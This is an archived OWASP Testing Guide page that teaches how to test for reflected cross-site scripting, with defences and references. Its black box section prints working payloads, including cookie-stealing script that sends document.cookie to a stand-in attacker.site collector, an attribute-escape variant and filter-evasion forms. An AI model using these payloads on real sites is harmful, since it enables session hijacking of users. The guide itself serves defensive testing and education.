This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Testing for Cross site scripting
[Up]
OWASP Testing Guide v2 Table of Contents
Brief Summary
Cross Site Scripting (CSS for short, but sometimes abbreviated as XSS) is one of the most common application level attacks that hackers use to sneak into web applications today. It should be stressed that although the vulnerability exists at the web site, at no time is the web site directly harmed
Description of the Issue
Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or anyother sensitive information, which can identify the client with the web site. With the token of thelegitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user.
How to Test
Black Box testing and example
Let us call the site under attack: www.vulnerable.site. At the core of a traditional CSS attack lies a vulnerable script in the vulnerable site. This script readspart of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and echoes it back to the response page, in full or in part, without first sanitizing it i.e. making sure it doesn’t contain Javascript code and/or HTML tags. Suppose, therefore, that this script is named welcome.cgi, and its parameter is “name”.
It can be operated this way:GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0Host: www.vulnerable.site...
And the response would be:<HTML> <Title>Welcome!</Title> Hi Joe Hacker
Welcome to our system... </HTML>
How can this be abused? Well, the attacker manages to lure the victim client into clicking a link theattacker supplies to him/her. This is a carefully and maliciously crafted link, which causes the webbrowser of the victim to access the site (www.vulnerable.site) and invoke the vulnerable script. The data to the script consists of a Javascript that accesses the cookies the client browser has forwww.vulnerable.site. It is allowed, since the client browser “experiences” the Javascript coming fromwww.vulnerable.site, and Javascript’s security model allows scripts arriving from a particular site toaccess cookies belonging to that
Such a link looks like: http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script> The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows:GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site... And the vulnerable site response would be: <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
Welcome to our system... </HTML> The victim client’s browser would interpret this response as an HTML page containing a piece ofJavascript code. This code, when executed, is allowed to access all cookies belonging towww.vulnerable.site, and therefore, it will pop-up a window at the client browser showing all clientcookies belonging to www.vulnerable.site. Of course, a real attack would consist of sending these cookies to the attacker. For this, the attackermay erect a web site (www.attacker.site), and use a script to receive the cookies. Instead of popping up a window, the attacker would write a code that accesses a URL at his/her own site (www.attacker.site),invoking the cookie reception script with a parameter being the stolen cookies. This way, the attacker can get the cookies from the www.attacker.site server.
The malicious link would be: http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>
And the response page would look like: <HTML> <Title>Welcome!</Title> Hi<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>
Welcome to our system... </HTML>
The browser, immediately upon loading this page, would execute the embedded Javascript and would send a request to the collect.cgi script in www.attacker.site, with the value of the cookies ofwww.vulnerable.site that the browser already has.This compromises the cookies of www.vulnerable.site that the client has. It allows the attacker toimpersonate the victim. The privacy of the client is completely breached. It should be noted, that causing the Javascript pop-up window to emerge usually suffices to demonstrate that a site is vulnerable to a CSS attack. If Javascript’s “alert” function can be called, there’s usually no reason for the “window.open” call not to succeed. That is why most examples for CSS attacks use the alert function, which makes it very easy to detect its success.
Scope and feasibility The attack can take place only at the victim’s browser, the same one used to access the site(www.vulnerable.site). The attacker needs to force the client to access the malicious link. This can happen in several ways: - The attacker sends an email containing an HTML page that forces the browser to access thelink. This requires the victim use the HTML enabled email client, and the HTML viewer at theclient is the same browser used for accessing www.vulnerable.site.- The client visits a site, perhaps operated by the attacker, where a link to an image or otherwiseactive HTML forces the browser to access the link. Again, it is mandatory that the samebrowser be used for accessing this site and www.vulnerable.site.The malicious Javascript can access: - Permanent cookies (of www.vulnerable.site) maintained by the browser -RAM cookies (of www.vulnerable.site) maintained by this instance of the browser, only whenit is currently browsing www.vulnerable.site-Names of other windows opened for www.vulnerable.siteIdentification/authentication/authorization tokens are usually maintained as cookies. If these cookiesare permanent, the victim is vulnerable to the attack even if he/she is not using the browser at themoment to access www.vulnerable.site. If, however, the cookies are temporary i.e. RAM cookies, thenthe client must be in session with www.vulnerable.site. Other possible implementations for an identification token is a URL parameter. In such cases, it is possible to access other windows using Javascript as follows (assuming the name of the page whoseURL parameters are needed is “foobar”): <script>var victim_window=open(,'foobar');alert('Can access: '+victim_window.location.search)</script>Variations on the theme It is possible to use many HTML tags, beside <SCRIPT> in order to run the Javascript. In fact, it isalso possible for the malicious Javascript code to reside on another server, and to force the client to download the script and execute it which can be useful if a lot of code is to be run, or when the code contains special characters.Some variations: Instead of <script>...</script>, one can use <img src=”javascript:...”> (good for sites that filter the <script> HTML tag)Instead of <script>...</script>, it is possible to use <script src=”http://...”> . This is good for a situation where the Javascript code is too long, or contains forbidden characters. Sometimes, the data embedded in the response page is found in non-free HTML context. In this case, it is first necessary to “escape” to the free context, and then to append the CSS attack. For example, if the data is injected as a default value of an HTML form field, e.g.: ... <input type=text name=user value=”...”> ...
Then it is necessary to include “> in the beginning of the data to ensure escaping to the free HTML context. The data would be:“><script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script> And the resulting HTML would be: ... <input type=text name=user value=”“><script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>”>... Other ways to perform (traditional) CSS attacks So far we’ve seen that a CSS attack can take place in a parameter of a GET request which is echoedback to the response by a script. But it is also possible to carry out the attack with POST request, orusing the path component of the HTTP request, and even using some HTTP headers (such as theReferer).Particularly, the path component is useful when an error page returns the erroneous path. In this case,often including the malicious script in the path will execute it. Many web servers are found vulnerableto this attack. What went wrong? It should be understood that although the web site is not directly affected by this attack -it continues tofunction normally, malicious code is not executed on the site, no DoS condition occurs, and data is notdirectly manipulated/read from the site- it is still a flaw in the privacy the site offers its’ clients. Justlike a site deploying an application with weak security tokens, wherein an attacker can guess thesecurity token of a victim client and impersonate him/her, the same can be said here. The weak spot in the application is the script that echoes back its parameter, regardless of its value. A good script makes sure that the parameter is of a proper format, and contains reasonable characters, etc. There is usually no good reason for a valid parameter to include HTML tags or Javascript code, and these should be removed from the parameter prior to it being embedded in the response or prior to processing it in the application, to be on the safe side!
Securing a site against CSS attacks It is possible to secure a site against a CSS attack in three ways:
1. By performing “in-house” input filtering (sometimes called “input sanitation”). For each userinput be it a parameter or an HTTP header, in each script written in-house, advanced filteringagainst HTML tags including Javascript code should be applied. For example, the“welcome.cgi” script from the above case study should filter the “<script>” tag once it isthrough decoding the “name” parameter.
This method has some severe downsides: • It requires the application programmer to be well versed in security. • It requires the programmer to cover all possible input sources (query parameters, bodyparameters of POST request, HTTP headers). • It cannot defend against vulnerabilities in third party scripts/servers. For example, it won’t defend against problems in error pages in web servers (which display the path of the resource).
2. By performing “output filtering”, that is, to filter the user data when it is sent back to thebrowser, rather than when it is received by a script. A good example for this would be a scriptthat inserts the input data to a database, and then presents it. In this case, it is important not toapply the filter to the original input string, but only to the output version. The drawbacks aresimilar to the ones in input filtering. 3. By installing a third party application firewall, which intercepts CSS attacks before they reachthe web server and the vulnerable scripts, and blocks them. Application firewalls can cover allinput methods (including path and HTTP headers) in a generic way, regardless of thescript/path from the in-house application, a third party script, or a script describing no resourceat all (e.g. designed to provoke a 404 page response from the server). For each input source,the application firewall inspects the data against various HTML tag patterns and Java script patterns, and if any match, the request is rejected and the malicious input does not arrive to theserver. How to check if your site is protected from CSS Checking that a site is secure from CSS attacks is the logical conclusion of securing the site. Just like securing a site against CSS, checking that the site is indeed secure can be done manually (the hard way), or via an automated web application vulnerability assessment tool, which offloads the burden of checking. The tool crawls the site, and then launches all the variants it knows against all the scripts it found – trying the parameters, the headers and the paths. In both methods, each input to the application (parameters of all scripts, HTTP headers, path) is checked with as many variations aspossible, and if the response page contains the Javascript code in a context where the browser can execute it then a CSS vulnerability is exposed. For example, sending the text: <script>alert(document.cookie)</script>to each parameter of each script, via a Javascript enabled browser to reveal a CSS vulnerability of the simplest kind – the browser will pop up the Javascript alert window if the text is interpreted as Javascript code. Of course, there are several variants, and therefore, testing only the above variant is insufficient. And as we saw above, it is possible to inject Javascript into various fields of the request – the parameters, the HTTP headers, and the path. In some cases (notably the HTTP Referer header), it is awkward tocarry out the attack using a browser.
Gray Box testing and example
References
[1] “CERT Advisory CA-2000-02 - Malicious HTML Tags Embedded in Client Web Requests”, CERT, February 2nd, 2000
http://www.cert.org/advisories/CA-2000-02.html
[2] “Cross Site Scripting Explained”, Amit Klein, June 2002
http://crypto.stanford.edu/cs155/CSS.pdf
[3] “Cross-Site Scripting”, Web Application Security Consortium, February 23rd, 2004
http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml
[4] “Cross Site Scripting (XSS) Flaws”, The OWASP Foundation, updated 2004 http://www.owasp.org/documentation/topten/a4.html
[5] “Thor Larholm security advisory TL#001 (IIS allows universal CrossSiteScripting)”, Thor Larholm, April 10th, 2002
http://www.cgisecurity.com/archive/webservers/iis_xss_4_5_and_5.1.txt
(see also Microsoft Security Bulletin MS02-018 http://www.microsoft.com/technet/security/bulletin/MS02-018.mspx)
[6] “ISA Server Error Page Cross Site Scripting”, Brett Moore, July 16th, 2003 http://www.security-assessment.com/Advisories/ISA%20XSS%20Advisory.pdf
(see also Microsoft Security Bulletin MS03-028 http://www.microsoft.com/technet/security/bulletin/MS03-028.mspx and a more elaborate description in “Microsoft ISA Server HTTP error handler XSS”, Thor Larholm, July 16th, 2003 http://www.securityfocus.com/archive/1/329273)
[7] “Bugzilla Bug 272620 - XSS vulnerability in internal error messages”, reported by Michael Krax, December 23rd, 2004
https://bugzilla.mozilla.org/show_bug.cgi?id=272620
[8] “The Cross Site Scripting FAQ”, Robert Auger, May 2002 (revised August 2003)
http://www.cgisecurity.com/articles/xss-faq.shtml
Whitepapers
Tools
OWASP Testing Guide v2
Here is the OWASP Testing Guide v2 Table of Contents
